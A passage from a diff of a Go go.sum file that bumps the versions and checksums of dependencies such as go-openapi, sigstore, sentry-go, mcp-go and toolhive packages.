h1:DMPWJBjYs6+3+f/qhBFEFPPlQ6NlhWjai3dJNvipJ84= +github.com/aws/aws-sdk-go-v2/service/sts v1.44.1 h1:RvfHDg+xvAeZ+5741vUEjpOVtYSIm93W2zhx10Xtydw= +github.com/aws/aws-sdk-go-v2/service/sts v1.44.1/go.mod h1:9gdl4RrflIdpDb2TlXshWgR1F9TeCkvqDx77Vpr4Z/Q= +github.com/aws/smithy-go v1.27.3 h1:F3Zb497UhhskkfpJmfkXswyo+t0sh9OTBnIHjogWbVY= +github.com/aws/smithy-go v1.27.3/go.mod h1:YE2RhdIuDbA5E5bTdciG9KrW3+TiEONeUWCqxX9i1Fc= github.com/aymanbagabas/go-osc52/v2 v2.0.1 h1:HwpRHbFMcZLEVr42D4p7XBqjyuxQH5SMiErDT4WkJ2k= github.com/aymanbagabas/go-osc52/v2 v2.0.1/go.mod h1:uYgXzlJ7ZpABp8OJ+exZzJJhRNQ2ASbcXHWsFqH8hp8= github.com/aymerick/douceur v0.2.0/go.mod h1:wlT5vV2O3h55X9m7iVYN0TBM0NH/MmbLnd30/FjWUq4= @@ -106,8 +106,8 @@ github.com/bsm/ginkgo/v2 v2.12.0 h1:Ny8MWAHyOepLGlLKYmXG4IEkioBysk6GpaRTLC8zwWs= github.com/bsm/ginkgo/v2 v2.12.0/go.mod h1:SwYbGRRDovPVboqFv0tPTcG1sN61LM1Z4ARdbAV9g4c= github.com/bsm/gomega v1.27.10 h1:yeMWxP2pV2fG3FgAODIY8EiRE3dy0aeFYt4l7wh6yKA= github.com/bsm/gomega v1.27.10/go.mod h1:JyEr/xRbxbtgWNi8tIEVPUYZ5Dzef52k01W3YH0H+O0= -github.com/cedar-policy/cedar-go v1.6.1 h1:eoBQI/Owk6XQIXTjFYnvL/mX3Iu/Ecns9RH0SdQM9Mk= -github.com/cedar-policy/cedar-go v1.6.1/go.mod h1:h5+3CVW1oI5LXVskJG+my9TFCYI5yjh/+Ul3EJie6MI= +github.com/cedar-policy/cedar-go v1.8.0 h1:9gcU7EHXwHC2RMdpph68yTAkdB3behTTssC+kt4GoS8= +github.com/cedar-policy/cedar-go v1.8.0/go.mod h1:h5+3CVW1oI5LXVskJG+my9TFCYI5yjh/+Ul3EJie6MI= github.com/cenkalti/backoff/v4 v4.3.0 h1:MyRJ/UdXutAwSAT+s3wNd7MfTIcy71VQueUuFK343L8= github.com/cenkalti/backoff/v4 v4.3.0/go.mod h1:Y3VNntkOUPxTVeUxJ/G5vcM//AlwfmyYozVcomhLiZE= github.com/cenkalti/backoff/v5 v5.0.3 h1:ZN+IMa753KfX5hd8vVaMixjnqRZ3y8CuJKRKj1xcsSM= @@ -145,8 +145,8 @@ github.com/containerd/log v0.1.0 h1:TCJt7ioM2cr/tfR8GPbGf9/VRAX8D2B4PjzCpfX540I= github.com/containerd/log v0.1.0/go.mod h1:VRRf09a7mHDIRezVKTRCrOq78v577GXq3bSa3EhrzVo= github.com/containerd/platforms v0.2.1 h1:zvwtM3rz2YHPQsF2CHYM8+KtB5dvhISiXh5ZpSBQv6A= github.com/containerd/platforms v0.2.1/go.mod h1:XHCb+2/hzowdiut9rkudds9bE5yJ7npe7dG/wG+uFPw= -github.com/coreos/go-oidc/v3 v3.18.0 h1:V9orjXynvu5wiC9SemFTWnG4F45v403aIcjWo0d41+A= -github.com/coreos/go-oidc/v3 v3.18.0/go.mod h1:DYCf24+ncYi+XkIH97GY1+dqoRlbaSI26KVTCI9SrY4= +github.com/coreos/go-oidc/v3 v3.20.0 h1:EtE0WIBHk03N+DqGkY4+UONzzZHk7amKt6IyNd7OsZE= +github.com/coreos/go-oidc/v3 v3.20.0/go.mod h1:DYCf24+ncYi+XkIH97GY1+dqoRlbaSI26KVTCI9SrY4= github.com/coreos/go-systemd v0.0.0-20190321100706-95778dfbb74e/go.mod h1:F5haX7vjVVG0kc13fIWeqUViNPyEJxv/OmvnBo0Yme4= github.com/coreos/go-systemd v0.0.0-20190719114852-fd7a80b32e1f/go.mod h1:F5haX7vjVVG0kc13fIWeqUViNPyEJxv/OmvnBo0Yme4= github.com/cpuguy83/dockercfg v0.3.2 h1:DlJTyZGBDlXqUZ2Dk2Q3xHs/FtnooJJVaad2S9GKorA= @@ -225,8 +225,8 @@ github.com/fsnotify/fsnotify v1.9.0 h1:2Ml+OJNzbYCTzsxtv8vKSFD9PbJjmhYF14k/jKC7S github.com/fsnotify/fsnotify v1.9.0/go.mod h1:8jBTzvmWwFyi3Pb8djgCCO5IBqzKJ/Jwo8TRcHyHii0= github.com/fxamacker/cbor/v2 v2.9.0 h1:NpKPmjDBgUfBms6tr6JZkTHtfFGcMKsw3eGcmD/sapM= github.com/fxamacker/cbor/v2 v2.9.0/go.mod h1:vM4b+DJCtHn+zz7h3FFp/hDAI9WNWCsZj23V5ytsSxQ= -github.com/getsentry/sentry-go v0.44.1 h1:/cPtrA5qB7uMRrhgSn9TYtcEF36auGP3Y6+ThvD/yaI= -github.com/getsentry/sentry-go v0.44.1/go.mod h1:XDotiNZbgf5U8bPDUAfvcFmOnMQQceESxyKaObSssW0= +github.com/getsentry/sentry-go v0.47.0 h1:AnSMSyrYA5qZCIN/2xpgAAwv63sVULV+vBq37ajouc8= +github.com/getsentry/sentry-go v0.47.0/go.mod h1:h+b4VHpKnK7aUXB5wc+KDnPgp9ZtfliRD4eV85FbiSA= github.com/getsentry/sentry-go/otel v0.44.1 h1:RV2zUHEvGHJmCCpMaJ52tZZAlcbMgvtasQn/g3CcKKc= github.com/getsentry/sentry-go/otel v0.44.1/go.mod h1:CfzTxocQJ6JX4SLFvnBrGULBAARFAd1fHmbJCTQlOP4= github.com/gkampitakis/ciinfo v0.3.2 h1:JcuOPk8ZU7nZQjdUhctuhQofk7BGHuIy0c9Ez8BNhXs= @@ -266,54 +266,54 @@ github.com/go-ole/go-ole v1.2.6 h1:/Fpf6oFPoeFik9ty7siob0G6Ke8QvQEuVcuChpwXzpY= github.com/go-ole/go-ole v1.2.6/go.mod h1:pprOEPIfldk/42T2oK7lQ4v4JSDwmV0As9GaiUsvbm0= github.com/go-openapi/analysis v0.25.2 h1:I0vy4n3alz+DHTiN1PRhCb7QZxkK6g5YmswZKv2TKuw= github.com/go-openapi/analysis v0.25.2/go.mod h1:Uhs1t/2XR10EnwONYILGEzw8gcfGIG5Xk5K2AxnhqDo= -github.com/go-openapi/errors v0.22.7 h1:JLFBGC0Apwdzw3484MmBqspjPbwa2SHvpDm0u5aGhUA= -github.com/go-openapi/errors v0.22.7/go.mod h1://QW6SD9OsWtH6gHllUCddOXDL0tk0ZGNYHwsw4sW3w= +github.com/go-openapi/errors v0.22.8 h1:oP7sW7TWc3wFFjrzzj0nI83H2qMBkNjNfSd+XRejk/I= +github.com/go-openapi/errors v0.22.8/go.mod h1:BuUoHcYrU6E7V9gfj1I5wLQqgtIHnup/alXZ8KdgQ0w= github.com/go-openapi/jsonpointer v0.23.1 h1:1HBACs7XIwR2RcmItfdSFlALhGbe6S92p0ry4d1GWg4= github.com/go-openapi/jsonpointer v0.23.1/go.mod h1:iWRmZTrGn7XwYhtPt/fvdSFj1OfNBngqRT2UG3BxSqY= github.com/go-openapi/jsonreference v0.21.6 h1:NZ5nGfnaM1n4I43Xjm1e5/M2GjOwQwndQz22uhxwD+Y= github.com/go-openapi/jsonreference v0.21.6/go.mod h1:xzbgtQ3ZbWxvET3AxdzCJlJt6vkovbf+IfSPJjD0tUY= -github.com/go-openapi/loads v0.23.3 h1:g5Xap1JfwKkUnZdn+S0L3SzBDpcTIYzZ5Qaag0YDkKQ= -github.com/go-openapi/loads v0.23.3/go.mod h1:NOH07zLajXo8y55hom0omlHWDVVvCwBM/S+csCK8LqA= -github.com/go-openapi/runtime v0.32.3 h1:J7Ycy5DJmhhP1By3NifhRUjnkXTrk21qbeqSULjwX8U= -github.com/go-openapi/runtime v0.32.3/go.mod h1:/WTQi0fa5DiGnnCXQKsTkSm15OzJp8Uz3H2t+67TBr4= +github.com/go-openapi/loads v0.24.0 h1:4LLorXRPTzIN9V6ngMUZbAscsBOUBk3Oa8cClu/bFrQ= +github.com/go-openapi/loads v0.24.0/go.mod h1:xQMgX+hw5xRAhGrcDXxeMw78IFqUpIzhleu3HqPhyF4= +github.com/go-openapi/runtime v0.32.4 h1:8ElGj/3goG0itt0nBPP6Cm57ehcYyuHoI3O20nxgvkw= +github.com/go-openapi/runtime v0.32.4/go.mod h1:Bz6keOZw1NX4T6f+m42OoT1MBPDt6Re13dbccHyGH/4= github.com/go-openapi/runtime/server-middleware v0.30.0 h1:8rPoJ/xv7JL8BsovaqboKETlpWBArVh8n+0L/GyePog= github.com/go-openapi/runtime/server-middleware v0.30.0/go.mod h1:OYNT/TxNvB/VK5oe4htM2jDTwlEXuejVJmu0DVZfAMs= -github.com/go-openapi/spec v0.22.5 h1:KhO7RBlKQfonUWX2WzQCoLIXVA6AcNqDGZ3a1Dutdlo= -github.com/go-openapi/spec v0.22.5/go.mod h1:vxpOtMya5TXtENXKE5bKqv5NjocVhyhxHrlZfvKnZ74= -github.com/go-openapi/strfmt v0.26.3 h1:rzmslHarJgBbf2qfGge+X3htclQfmXqBZMm0Too0HhU= -github.com/go-openapi/strfmt v0.26.3/go.mod h1:a5nsUw0oRpQzZeOwx8bi6cKbzFZslpbCKt1LEot+KnQ= -github.com/go-openapi/swag v0.26.0 h1:GVDXCmfvhfu1BxiHo8/FA+BbKmhecHnG3varjON5/RI= -github.com/go-openapi/swag v0.26.0/go.mod h1:82g3193sZJRbocs7bNCqGfIgq8pkuwVwCfhKIRlEQF0= -github.com/go-openapi/swag/cmdutils v0.26.0 h1:iowihOcvq7y4egO8cOq0dmfohz6wfeQ63U1EnuhO2TU= -github.com/go-openapi/swag/cmdutils v0.26.0/go.mod h1:Sm1MVFMkF6guJJ+pQqHnQA3N0j9qALV3NxzDSv6bETM= -github.com/go-openapi/swag/conv v0.26.0 h1:5yGGsPYI1ZCva93U0AoKi/iZrNhaJEjr324YVsiD89I= -github.com/go-openapi/swag/conv v0.26.0/go.mod h1:tpAmIL7X58VPnHHiSO4uE3jBeRamGsFsfdDeDtb5ECE= -github.com/go-openapi/swag/fileutils v0.26.0 h1:WJoPRvsA7QRiiWluowkLJa9jaYR7FCuxmDvnCgaRRxU= -github.com/go-openapi/swag/fileutils v0.26.0/go.mod h1:0WDJ7lp67eNjPMO50wAWYlKvhOb6CQ37rzR7wrgI8Tc= -github.com/go-openapi/swag/jsonname v0.26.0 h1:gV1NFX9M8avo0YSpmWogqfQISigCmpaiNci8cGECU5w= -github.com/go-openapi/swag/jsonname v0.26.0/go.mod h1:urBBR8bZNoDYGr653ynhIx+gTeIz0ARZxHkAPktJK2M= -github.com/go-openapi/swag/jsonutils v0.26.0 h1:FawFML2iAXsPqmERscuMPIHmFsoP1tOqWkxBaKNMsnA= -github.com/go-openapi/swag/jsonutils v0.26.0/go.mod h1:2VmA0CJlyFqgawOaPI9psnjFDqzyivIqLYN34t9p91E= -github.com/go-openapi/swag/jsonutils/fixtures_test v0.26.0 h1:apqeINu/ICHouqiRZbyFvuDge5jCmmLTqGQ9V95EaOM= -github.com/go-openapi/swag/jsonutils/fixtures_test v0.26.0/go.mod h1:AyM6QT8uz5IdKxk5akv0y6u4QvcL9GWERt0Jx/F/R8Y= -github.com/go-openapi/swag/loading v0.26.0 h1:Apg6zaKhCJurpJer0DCxq99qwmhFddBhaMX7kilDcko= -github.com/go-openapi/swag/loading v0.26.0/go.mod h1:dBxQ/6V2uBaAQdevN18VELE6xSpJWZxLX4txe12JwDg= -github.com/go-openapi/swag/mangling v0.26.0 h1:Du2YC4YLA/Y5m/YKQd7AnY5qq0wRKSFZTTt8ktFaXcQ= -github.com/go-openapi/swag/mangling v0.26.0/go.mod h1:jifS7W9vbg+pw63bT+GI53otluMQL3CeemuyCHKwVx0= -github.com/go-openapi/swag/netutils v0.26.0 h1:CmZp+ZT7HrmFwrC3GdGsXBq2+42T1bjKBapcqVpIs3c= -github.com/go-openapi/swag/netutils v0.26.0/go.mod h1:5iK+Ok3ZohWWex1C50BFTPexi03UaPwjW4Oj8kgrpwo= -github.com/go-openapi/swag/stringutils v0.26.0 h1:qZQngLxs5s7SLijc3N2ZO+fUq2o8LjuWAASSrJuh+xg= -github.com/go-openapi/swag/stringutils v0.26.0/go.mod h1:sWn5uY+QIIspwPhvgnqJsH8xqFT2ZbYcvbcFanRyhFE= -github.com/go-openapi/swag/typeutils v0.26.0 h1:2kdEwdiNWy+JJdOvu5MA2IIg2SylWAFuuyQIKYybfq4= -github.com/go-openapi/swag/typeutils v0.26.0/go.mod h1:oovDuIUvTrEHVMqWilQzKzV4YlSKgyZmFh7AlfABNVE= -github.com/go-openapi/swag/yamlutils v0.26.0 h1:H7O8l/8NJJQ/oiReEN+oMpnGMyt8G0hl460nRZxhLMQ= -github.com/go-openapi/swag/yamlutils v0.26.0/go.mod h1:1evKEGAtP37Pkwcc7EWMF0hedX0/x3Rkvei2wtG/TbU= +github.com/go-openapi/spec v0.22.6 h1:Tyy1pLaNCM8GBCFLoGYLonjJi6zykqyLCjXLc19ZPic= +github.com/go-openapi/spec v0.22.6/go.mod h1:HZvTHat+iH0PALQRWhrqIHtU/PEqxqd89fu0MxGlMeM= +github.com/go-openapi/strfmt v0.26.4 h1:yI6IAEfcWow459BD5UzFY430KUwXZwBHrYusPFkhWlc= +github.com/go-openapi/strfmt v0.26.4/go.mod h1:hNJi6nb5ETD6i7A1yRo03M9S6ZoTPPoWff1iUexmfUc= +github.com/go-openapi/swag v0.26.1 h1:l5sVEyVpwj+DDYeZyo7wQI/Ebn/mKYIyGB/pFwAfGoQ= +github.com/go-openapi/swag v0.26.1/go.mod h1:yNY38BbIVthxbkDtq1UHBCGasBqjakW3lCR6ANzdBEw= +github.com/go-openapi/swag/cmdutils v0.26.1 h1:f2iE1ijYaJ3nuu5PaEMx3zpEhzhZFgivCJObWEObLIQ= +github.com/go-openapi/swag/cmdutils v0.26.1/go.mod h1:Sm1MVFMkF6guJJ+pQqHnQA3N0j9qALV3NxzDSv6bETM= +github.com/go-openapi/swag/conv v0.27.0 h1:EKOH4feXrvdo8DbSsXSAqRT8fz1epEnS5O2IfXUOzE8= +github.com/go-openapi/swag/conv v0.27.0/go.mod h1:pfiv0uKQTbaGApk8Zs/lZV3uSjmSpa2FO1y183YngN8= +github.com/go-openapi/swag/fileutils v0.26.1 h1:K1XCM2CGhfNsc6YDt6v7Q5+1e59rftYWdcu/isZhvFw= +github.com/go-openapi/swag/fileutils v0.26.1/go.mod h1:mYUgxQAKX4ShS3qvvySx+/9yrlUnDhjiD1CalaQl8lQ= +github.com/go-openapi/swag/jsonname v0.26.1 h1:VReupaV6WxlAsCn0e4DUfgV6bPmINnPpyJDLqSfNPcE= +github.com/go-openapi/swag/jsonname v0.26.1/go.mod h1:OvdW6BoWoj33pTfi7x9vFrgmT+fk7aw0BRwvCE0YOuc= +github.com/go-openapi/swag/jsonutils v0.26.1 h1:2hdBfFkHg+7Wrz2VsCbeyR6hzkRDs7AztnMR2u84yOY= +github.com/go-openapi/swag/jsonutils v0.26.1/go.mod h1:U+RMJH3wa+6BRiphuRtIyI8fW9HPFqFQ4sHk2oRx0UQ= +github.com/go-openapi/swag/jsonutils/fixtures_test v0.26.1 h1:1CD7NiLLb/TXl3tOnFYU4b+mNfb5rtgHkaA+q7RMYYQ= +github.com/go-openapi/swag/jsonutils/fixtures_test v0.26.1/go.mod h1:ZWafc8nMdYzTE3uYY6W86f0n46+IF0g4uUyRhJw/kXc= +github.com/go-openapi/swag/loading v0.26.1 h1:E9K4wqXeROlhjFQ13K9zMz6ojFGXIggGe+ad1odrK9w= +github.com/go-openapi/swag/loading v0.26.1/go.mod h1:3qvRIlWzWdq1HvmldwmuJ2ohpcAryN6xVt2OTKd0/7E= +github.com/go-openapi/swag/mangling v0.26.1 h1:gpYI4WuPKFJJVjV5cDLGlDVJhFIxYjQc7yN5eEb4CqM= +github.com/go-openapi/swag/mangling v0.26.1/go.mod h1:POETDH01hqAdASXfw7ISEd9bCOE6xBHOt8NHmGZRmYM= +github.com/go-openapi/swag/netutils v0.26.1 h1:BNctoc39WTAUMxyAs355fExOPzMZtPbZ0ZZ1Am2FR5M= +github.com/go-openapi/swag/netutils v0.26.1/go.mod h1:y02vByhZhQPAVwOX+0KipXFZ/hUbk6G/Enhf5rGaOkQ= +github.com/go-openapi/swag/stringutils v0.26.1 h1:f88uYyTso7TnHrKM/bUBsQ5e2wKf37cpgo6pvbzd9yU= +github.com/go-openapi/swag/stringutils v0.26.1/go.mod h1:Sc6d3bU8fgk5AyZR8/8jEQ+Is/Ald+TD/IIggPN8UJk= +github.com/go-openapi/swag/typeutils v0.27.0 h1:aCf4MSGo8NLwZP8Q6t32DWLJSvl/WwNqgmEG+xJ6v2o= +github.com/go-openapi/swag/typeutils v0.27.0/go.mod h1:Srm0xFNRZ1Y+vCxJclo5qzx8aj+1pAKda/YfFPrG0dQ= +github.com/go-openapi/swag/yamlutils v0.26.1 h1:0TSLK+lXs9vfIhAWzBeI/lOzEnIoot6WTCO1aAeWFTk= +github.com/go-openapi/swag/yamlutils v0.26.1/go.mod h1:7W5b7PRX9MxwL7TjeG7H8HkyBGRsIDRObhyMWFgBI2M= github.com/go-openapi/testify/enable/yaml/v2 v2.5.1 h1:q9NtHwK4qHF7yZziBPvZyv7zWAIk8ok88Gh2mR6Jpc8= github.com/go-openapi/testify/enable/yaml/v2 v2.5.1/go.mod h1:JW0MXIotCYps/XsgJnG3a8Q7rE5xAiBwoOD5OfaIQBk= -github.com/go-openapi/testify/v2 v2.5.1 h1:TMdhCaw8fUNraVSf3Omoob1dO/AzBfhtFAPW0an6sBo= -github.com/go-openapi/testify/v2 v2.5.1/go.mod h1:SgsVHtfooshd0tublTtJ50FPKhujf47YRqauXXOUxfw= -github.com/go-openapi/validate v0.25.3 h1:4nzAIavcJ7WveHK2+V1UAkZK3kWcjzxZCzjfZAfavKs= -github.com/go-openapi/validate v0.25.3/go.mod h1:GemfuGMyYpIaBoKpX3z8sLywrmxpzWVOoJ7R0VeAVuk= +github.com/go-openapi/testify/v2 v2.6.0 h1:5PKH2HE7YJ/LuRPQGvSxBRlFXNQhSetBLlGAgUEu3ug= +github.com/go-openapi/testify/v2 v2.6.0/go.mod h1:SgsVHtfooshd0tublTtJ50FPKhujf47YRqauXXOUxfw= +github.com/go-openapi/validate v0.26.0 h1:dxWzQ3F+vb1SajqUxHjwb5T4mTpSHmdrtv5Bi7+ZNhw= +github.com/go-openapi/validate v0.26.0/go.mod h1:b4o00uq7fJeJA+wWhVFCJpKTctzeFwzZImGGmHsl2JA= github.com/go-sql-driver/mysql v1.6.0/go.mod h1:DCzpHaOWr8IXmIStZouvnhqoel9Qv2LBy8hT2VhHyBg= github.com/go-sql-driver/mysql v1.7.0/go.mod h1:OXbVy3sEdcQ2Doequ6Z5BW6fXNQTmx+9S1MCJN5yJMI= github.com/go-stack/stack v1.8.0/go.mod h1:v0f6uXyyMGvRgIKkXu+yp6POWl0qKG85gN/melR3HDY= @@ -380,8 +380,8 @@ github.com/google/go-containerregistry v0.21.7/go.mod h1:kjSbt7/zMsKLWfnHrIvKvhX github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg= github.com/google/gofuzz v1.2.0 h1:xRy4A+RhZaiKjJ1bPfwQ8sedCA+YS2YcCHW6ec7JMi0= github.com/google/gofuzz v1.2.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg= -github.com/google/jsonschema-go v0.4.2 h1:tmrUohrwoLZZS/P3x7ex0WAVknEkBZM46iALbcqoRA8= -github.com/google/jsonschema-go v0.4.2/go.mod h1:r5quNTdLOYEz95Ru18zA0ydNbBuYoo9tgaYcxEYhJVE= +github.com/google/jsonschema-go v0.4.3 h1:/DBOLZTfDow7pe2GmaJNhltueGTtDKICi8V8p+DQPd0= +github.com/google/jsonschema-go v0.4.3/go.mod h1:r5quNTdLOYEz95Ru18zA0ydNbBuYoo9tgaYcxEYhJVE= github.com/google/pprof v0.0.0-20260402051712-545e8a4df936 h1:EwtI+Al+DeppwYX2oXJCETMO23COyaKGP6fHVpkpWpg= github.com/google/pprof v0.0.0-20260402051712-545e8a4df936/go.mod h1:MxpfABSjhmINe3F1It9d+8exIHFvUqtLIRCdOGNXqiI= github.com/google/renameio v0.1.0/go.mod h1:KWCgfxg9yswjAJkECMjeO8J8rahYeXnNhOm40UhjYkI= @@ -391,8 +391,8 @@ github.com/google/trillian v1.7.3 h1:hziW+vo4czis48tzx2GK5xRBl/ZxBA9B0/UR5avXOro github.com/google/trillian v1.7.3/go.mod h1:qh8iy4x/GvnVXUBd5pK4oncuT1Y9vVYfibQVsR/WpKg= github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0= github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= -github.com/googleapis/enterprise-certificate-proxy v0.3.15 h1:xolVQTEXusUcAA5UgtyRLjelpFFHWlPQ4XfWGc7MBas= -github.com/googleapis/enterprise-certificate-proxy v0.3.15/go.mod h1:vqVt9yG9480NtzREnTlmGSBmFrA+bzb0yl0TxoBQXOg= +github.com/googleapis/enterprise-certificate-proxy v0.3.16 h1:F/VPrx0YPBdksZJQdCAp0WUsqnNmZpUZszzfYt0M5Dw= +github.com/googleapis/enterprise-certificate-proxy v0.3.16/go.mod h1:9Yb0eAkH/Xqhvv3zbeKf/+wMJqCeocWc6KIhDvEAuYE= github.com/googleapis/gax-go/v2 v2.22.0 h1:PjIWBpgGIVKGoCXuiCoP64altEJCj3/Ei+kSU5vlZD4= github.com/googleapis/gax-go/v2 v2.22.0/go.mod h1:irWBbALSr0Sk3qlqb9SyJ1h68WjgeFuiOzI4Rqw5+aY= github.com/gorilla/css v1.0.0/go.mod h1:Dn721qIggHpt4+EFCcTLTU/vk5ySda2ReITrtgBl60c= @@ -550,8 +550,8 @@ github.com/lufia/plan9stats v0.0.0-20211012122336-39d0f177ccd0/go.mod h1:zJYVVT2 github.com/luna-duclos/instrumentedsql v1.1.3/go.mod h1:9J1njvFds+zN7y85EDhN9XNQLANWwZt2ULeIC8yMNYs= github.com/magiconair/properties v1.8.10 h1:s31yESBquKXCV9a/ScB3ESkOjUYYv+X0rg8SYxI99mE= github.com/magiconair/properties v1.8.10/go.mod h1:Dhd985XPs7jluiymwWYZ0G4Z61jb3vdS329zhj2hYo0= -github.com/mark3labs/mcp-go v0.55.0 h1:lJfz2aoctiwK+sI991+uIYwmKNIBciI+O7zsyDsa4U8= -github.com/mark3labs/mcp-go v0.55.0/go.mod h1:+8WclSK1ZUweCP3hvktSji8n8ABG/95QaEkeVE/Uwas= +github.com/mark3labs/mcp-go v0.55.1 h1:GLYqNm9qdMGPhCtK4g1t1y1vhAPfayOBuaibDi4mrSA= +github.com/mark3labs/mcp-go v0.55.1/go.mod h1:+8WclSK1ZUweCP3hvktSji8n8ABG/95QaEkeVE/Uwas= github.com/maruel/natural v1.1.1 h1:Hja7XhhmvEFhcByqDoHz9QZbkWey+COd9xWfCfn1ioo= github.com/maruel/natural v1.1.1/go.mod h1:v+Rfd79xlw1AgVBjbO0BEQmptqb5HvL/k9GRHB7ZKEg= github.com/mattn/go-colorable v0.1.1/go.mod h1:FuOcm+DKB9mbwrcAfNl7/TZVBZ6rcnceauSikq3lYCQ= @@ -607,8 +607,8 @@ github.com/moby/sys/userns v0.1.0 h1:tVLXkFOxVu9A64/yh59slHVv9ahO9UIev4JZusOLG/g github.com/moby/sys/userns v0.1.0/go.mod h1:IHUYgu/kao6N8YZlp9Cf444ySSvCmDlmzUcYfDHOl28= github.com/moby/term v0.5.2 h1:6qk3FJAFDs6i/q3W/pQ97SX192qKfZgGjCQqfCJkgzQ= github.com/moby/term v0.5.2/go.mod h1:d3djjFCrjnB+fl8NJux+EJzu0msscUP+f8it8hPkFLc= -github.com/modelcontextprotocol/registry v1.7.9 h1:vpPfx2A2egjhm6YlbwfkX8NkR2N0S2eYmvYXI8bXaBs= -github.com/modelcontextprotocol/registry v1.7.9/go.mod h1:y03zY98e+REsiCaj1sUKzXbk3qEp++Y3gzAnV83wrNs= +github.com/modelcontextprotocol/registry v1.8.0 h1:x/seX0ji4iqRUpSovmkBcGbxfRiZZ7dgPwBcpCJrSTM= +github.com/modelcontextprotocol/registry v1.8.0/go.mod h1:G6AUpTpZSekQvcLl5griUjijEE8vedARE/TyCaHEFdo= github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd h1:TRLaZ9cD/w8PVh93nsPXa1VrQ6jlwL5oN8l14QlcNfg= github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= @@ -744,14 +744,14 @@ github.com/shopspring/decimal v0.0.0-20180709203117-cd690d0c9e24/go.mod h1:M+9Nz github.com/shopspring/decimal v1.2.0/go.mod h1:DKyhrW/HYNuLGql+MJL6WCR6knT2jwCFRcu2hWCYk4o= github.com/sigstore/protobuf-specs v0.5.1 h1:/5OPaNuolRJmQfeZLayJGFXMpsRJEdgC6ah1/+7Px7U= github.com/sigstore/protobuf-specs v0.5.1/go.mod h1:DRBzpFuE+LnvQMN10/dU6nBeKwVLGEQ6o2FovN2Rats= -github.com/sigstore/rekor v1.5.2 h1:k6pX4o1zFAzAvDbXiVIp5IHj1b0wcDaxsbsbNpuRO8o= -github.com/sigstore/rekor v1.5.2/go.mod h1:WkMnITBccOFauPkT6yte74tF5gC83pefKRGZvNOsbjI= -github.com/sigstore/rekor-tiles/v2 v2.2.2-0.20260601073857-5d098a2b6443 h1:/CO8F6m3Bo/f59bZo5dv1sTIfUnQqVnepIdDV24KoDw= -github.com/sigstore/rekor-tiles/v2 v2.2.2-0.20260601073857-5d098a2b6443/go.mod h1:w1h8wF8vq9lHjmtRdwJiEaoVxhP+WHIMpj4M39pkzp0= +github.com/sigstore/rekor v1.5.3 h1:0Tyolw3zreRgm7PUW8dccFLXGBThi08278jI8EXNSr4= +github.com/sigstore/rekor v1.5.3/go.mod h1:h3GK5dDqCcWJJZUJwdpKGSSmEV2GEjPUjJy3WTjBwzA= +github.com/sigstore/rekor-tiles/v2 v2.3.0 h1:HhMgH61UP0t899V8Fjt7pz1YdgOBptbaQdnCF+79cdc= +github.com/sigstore/rekor-tiles/v2 v2.3.0/go.mod h1:DEFiKSyQ4nF75QRVNdOPaIH3cmvMkO2B6xDZjNYngPc= github.com/sigstore/sigstore v1.10.8 h1:1Mgkxvkw4AXMfIP1DOjc6kw0GkUgA8pGVpveN/EfOq4= github.com/sigstore/sigstore v1.10.8/go.mod h1:f9+B/4iaYimvUkySyb2mvc73n3RLqNn24grHZM/ET8M= -github.com/sigstore/sigstore-go v1.2.1 h1:YWP/rDbBaEBvtbkj6xtwsSj38ZCFEhTVVadNOXjVe3A= -github.com/sigstore/sigstore-go v1.2.1/go.mod h1:I8BqVwAb/SaQJ5pBu5IDFY+ksq8O/1/kCag8XUgrsko= +github.com/sigstore/sigstore-go v1.2.2 h1:xAJ8hxaoecC0HKBYVbrwUjkeAI+GJYu6vLqbxDlD2Q0= +github.com/sigstore/sigstore-go v1.2.2/go.mod h1:MIFwBxAHJD+/lKgZzt9n/4Zhq/3T2+EuGX8iGrIsZgU= github.com/sigstore/sigstore/pkg/signature/kms/aws v1.10.8 h1:tofVQ+UWJgad/69I5zbqxdFCN5gpIn9tRQP7iBzIpBw= github.com/sigstore/sigstore/pkg/signature/kms/aws v1.10.8/go.mod h1:73AfJE8H6w5KGCFPBu4x/OG+i1Yxgmh0L/FtV7prd88= github.com/sigstore/sigstore/pkg/signature/kms/azure v1.10.8 h1:8Mt7J36GcUEmbiJaiFhz2tud5ZIgkfVVCe2H/WJCHmw= @@ -787,10 +787,10 @@ github.com/spf13/pflag v1.0.10 h1:4EBh2KAYBwaONj6b2Ye1GiHfwjqyROoF4RwYO+vPwFk= github.com/spf13/pflag v1.0.10/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= github.com/spf13/viper v1.21.0 h1:x5S+0EU27Lbphp4UKm1C+1oQO+rKx36vfCoaVebLFSU= github.com/spf13/viper v1.21.0/go.mod h1:P0lhsswPGWD/1lZJ9ny3fYnVqxiegrlNrEmgLjbTCAY= -github.com/stacklok/toolhive-catalog v0.20260629.0 h1:T4r2xpVf0sGjUz7D9m52LUPFu47ALbRq/q5mRF4N8dk= -github.com/stacklok/toolhive-catalog v0.20260629.0/go.mod h1:93zeSpGY1E/yT15yRdRrxU/tN8TCjAZ+J15NfU3TMpk= -github.com/stacklok/toolhive-core v0.0.26 h1:aWpwECt1A0Cq3ZL3rMG1mmibALcmVWg07oiNTqSESQk= -github.com/stacklok/toolhive-core v0.0.26/go.mod h1:w0CkwJEIwlyK9ht/zNfRxA5kY6J3dbJr8v2CSu7M1hE= +github.com/stacklok/toolhive-catalog v0.20260706.0 h1:ZgEtTogdPjl2Tc/zamYExRH609HDJxS+EbxgdjmMH/w= +github.com/stacklok/toolhive-catalog v0.20260706.0/go.mod h1:J+l8hyYSbIhLCe3IsBJuVpP1wQbsuUXRS5o+B9M0GpU= +github.com/stacklok/toolhive-core v0.0.28 